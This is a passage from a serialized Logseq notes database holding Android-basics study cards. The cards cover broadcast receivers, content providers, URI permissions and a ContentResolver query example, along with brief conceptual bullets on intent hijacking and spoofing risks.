#android-basicslogseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Flogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Xlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Vlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Ulogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Ulogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Ulogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Jlogseq____&quot;,[],536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Hlogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Hlogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e8ab-4e7b-a24e-cede48ee9e3flogseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Implements a *publish-subscribe* pattern that receives subscribed-to [Intents]([[Intent Messages]])logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Flogseq____&quot;,439,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Xlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Vlogseq____&quot;,439,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Ulogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Ulogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Ulogseq____&quot;,75,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Ulogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^Hlogseq____&quot;,75,536873226]],[logseq____&quot;^15logseq____&quot;,[440,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-18bb-4bce-a5d5-d0cebb70b189logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Bound to processing the [Intent]([[Intent Messages]]), i.e., *short-lived* (handled in the main thread, hence, app freezes when handling Intent, thus, should finish quickly)logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Flogseq____&quot;,440,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Xlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Vlogseq____&quot;,439,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Ulogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Ulogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Ulogseq____&quot;,75,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Ulogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^Hlogseq____&quot;,75,536873226]],[logseq____&quot;^15logseq____&quot;,[441,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e922-4ddd-a47a-00d2f77b06e7logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Should be registered at runtime using a *context-registered receiver*logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Flogseq____&quot;,441,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Xlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Vlogseq____&quot;,439,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Ulogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Ulogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^Ulogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[442,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-87c3-4b77-bda2-d2c804dbf9fdlogseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Some [exceptions](https://developer.android.com/develop/background-work/background-tasks/broadcasts/broadcast-exceptions) allow for registration via the [[Application Manifest]]logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Flogseq____&quot;,442,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Xlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Vlogseq____&quot;,439,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Ulogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Ulogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Ulogseq____&quot;,28,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Ulogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^Hlogseq____&quot;,28,536873226]],[logseq____&quot;^15logseq____&quot;,[443,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-778e-4825-9351-620d5121f22dlogseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Examples: Location changes, SMS/MMS receivedlogseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Flogseq____&quot;,443,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Xlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Vlogseq____&quot;,439,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Ulogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Ulogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^Ulogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[444,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-9f37-40be-b79c-2a003a20cb51logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Apps can send *custom broadcasts* with the `sendBroadcast(Intent)` methodlogseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Flogseq____&quot;,444,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Xlogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Vlogseq____&quot;,439,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Ulogseq____&quot;,2,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Ulogseq____&quot;,24,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^Ulogseq____&quot;,410,536873226]],[logseq____&quot;^15logseq____&quot;,[445,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-3e5d-4eb9-bc9b-3a020573e427logseq____&quot;,536873226]],[logseq____&quot;^15logseq____&quot;,[447,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`grant-uri-permissions`: define data subsets (complete path, optional regex or prefix) that permissions can be granted forlogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[447,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[447,logseq____&quot;^Flogseq____&quot;,452,536873228]],[logseq____&quot;^15logseq____&quot;,[447,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[447,logseq____&quot;^Vlogseq____&quot;,453,536873228]],[logseq____&quot;^15logseq____&quot;,[447,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[447,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e19e-4da2-b0f3-778864c46a9alogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Standardized mechanism used to share (possibly structured) data among applicationslogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Flogseq____&quot;,450,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Vlogseq____&quot;,450,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Ulogseq____&quot;,2,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Ulogseq____&quot;,24,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[448,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e47c-443c-8f9a-3ce9281c6715logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[449,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;There may be separate permissions for read/write accesslogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[449,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[449,logseq____&quot;^Flogseq____&quot;,455,536873228]],[logseq____&quot;^15logseq____&quot;,[449,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[449,logseq____&quot;^Vlogseq____&quot;,453,536873228]],[logseq____&quot;^15logseq____&quot;,[449,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[449,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-22ba-4ac0-8161-9d299be89cfblogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #android-basicslogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Flogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Vlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Ulogseq____&quot;,2,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Ulogseq____&quot;,24,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Jlogseq____&quot;,[],536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Hlogseq____&quot;,2,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^Hlogseq____&quot;,24,536873228]],[logseq____&quot;^15logseq____&quot;,[450,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-f11b-4187-be8c-ea08c20a430elogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;URI to address [Content Providers]([[Content Provider]]) and their datalogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Flogseq____&quot;,454,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Vlogseq____&quot;,450,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Ulogseq____&quot;,2,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Ulogseq____&quot;,24,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^Hlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[451,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-2625-4661-b4b1-7eb6ae8fe8a8logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[452,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`android:grantUriPermissions`: grant URI permission to any data if true, only data subsets listend in `grant-uri-permission` can be accessed, otherwiselogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[452,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[452,logseq____&quot;^Flogseq____&quot;,453,536873228]],[logseq____&quot;^15logseq____&quot;,[452,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[452,logseq____&quot;^Vlogseq____&quot;,453,536873228]],[logseq____&quot;^15logseq____&quot;,[452,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[452,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-69f3-4a81-9c92-faa1b41ad63blogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## URI Permissions\\nid:: 67b85233-f3c4-410b-adaa-326869c76c1alogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^Flogseq____&quot;,450,536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^Vlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b85233-f3c4-410b-adaa-326869c76c1alogseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b85233-f3c4-410b-adaa-326869c76c1alogseq____&quot;],536873228]],[logseq____&quot;^15logseq____&quot;,[453,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b85233-f3c4-410b-adaa-326869c76c1alogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;SQL-like data managementlogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Flogseq____&quot;,448,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Vlogseq____&quot;,450,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Ulogseq____&quot;,2,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Ulogseq____&quot;,24,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[454,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-b543-487f-a7c3-b44d5b8fb2bdlogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions are granted via [[Intent Messages]] or context (contexts must be manually revoked)logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Flogseq____&quot;,447,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Vlogseq____&quot;,453,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Ulogseq____&quot;,75,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^Hlogseq____&quot;,75,536873228]],[logseq____&quot;^15logseq____&quot;,[455,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-213b-4e47-b447-100c61433c9dlogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[456,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\nString URL = \\logseq____&quot;content://com.example.android.BookProvider/book/\\logseq____&quot;;\\n\\nmCursor = getContentResolver().query(\\n URL,\\t\\t\\t\\t\\t// The content URI\\n mProjection,\\t\\t\\t// String[] of table colums to return for each row\\n mSelectClause,\\t\\t// Selection criteria (logseq____&apos;wherelogseq____&apos; clause)\\n mSelectionArgs,\\t\\t// Selection criteria (arguments for logseq____&apos;wherelogseq____&apos; clause)\\n mSortOrder\\t\\t\\t// Sort order of returned rows\\n);\\n\\nint numcolums = mCursor.getColumnCount();\\nString[] colnames = mCursor.getColumnNames();\\n\\nmCursor.moveToFirst();\\nwhile (cursor.moveToNext()) {\\n // Do something\\n int id = mCursor.getInt(0);\\n String title = mCursor.getString(1);\\n int author_id = mCursor.getInt(2);\\n}\\n```logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[456,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[456,logseq____&quot;^Flogseq____&quot;,457,536873228]],[logseq____&quot;^15logseq____&quot;,[456,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[456,logseq____&quot;^Vlogseq____&quot;,457,536873228]],[logseq____&quot;^15logseq____&quot;,[456,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[456,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-3df0-474a-adfc-46c3fc34b577logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Examplelogseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^Flogseq____&quot;,453,536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^Xlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^Vlogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^Ulogseq____&quot;,412,536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^Jlogseq____&quot;,[],536873228]],[logseq____&quot;^15logseq____&quot;,[457,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-bfa1-4a43-94b5-788ab4c44189logseq____&quot;,536873228]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Intent Hijackinglogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^Flogseq____&quot;,398,536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^Vlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[458,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-c2a6-458a-b6e8-dfd5558700e1logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[459,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Special action strings can only be used by system applications (dropped otherwise)logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[459,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[459,logseq____&quot;^Flogseq____&quot;,462,536873239]],[logseq____&quot;^15logseq____&quot;,[459,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[459,logseq____&quot;^Vlogseq____&quot;,464,536873239]],[logseq____&quot;^15logseq____&quot;,[459,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[459,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-2649-40c6-93ac-91e3093434bdlogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Example:logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Flogseq____&quot;,120,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Vlogseq____&quot;,123,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Ulogseq____&quot;,2,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Ulogseq____&quot;,24,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[460,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-32ad-4a42-8d5b-606031d57629logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[461,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Ordered broadcasts may be stopped or altered by an attackerlogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[461,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[461,logseq____&quot;^Flogseq____&quot;,465,536873239]],[logseq____&quot;^15logseq____&quot;,[461,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[461,logseq____&quot;^Vlogseq____&quot;,458,536873239]],[logseq____&quot;^15logseq____&quot;,[461,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[461,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-9713-491c-9908-132f668732d9logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[462,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;\\logseq____&quot;Smishing\\logseq____&quot; (logseq____&lt; Android 4.2): App could fake `SMS_RECEIVED_ACTION`logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[462,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[462,logseq____&quot;^Flogseq____&quot;,463,536873239]],[logseq____&quot;^15logseq____&quot;,[462,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[462,logseq____&quot;^Vlogseq____&quot;,464,536873239]],[logseq____&quot;^15logseq____&quot;,[462,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[462,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-b8a0-466c-99dd-c581a403da91logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[463,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Malicious apps may send Intents with spoofed actions stringslogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[463,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[463,logseq____&quot;^Flogseq____&quot;,464,536873239]],[logseq____&quot;^15logseq____&quot;,[463,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[463,logseq____&quot;^Vlogseq____&quot;,464,536873239]],[logseq____&quot;^15logseq____&quot;,[463,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[463,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-a3a8-4e92-bb07-5d105ed17ea7logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Intent Spoofinglogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^Flogseq____&quot;,458,536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^Vlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[464,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-d45d-4e44-8d77-a910cace9a0flogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[465,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Unprotected broadcasts may leak to an 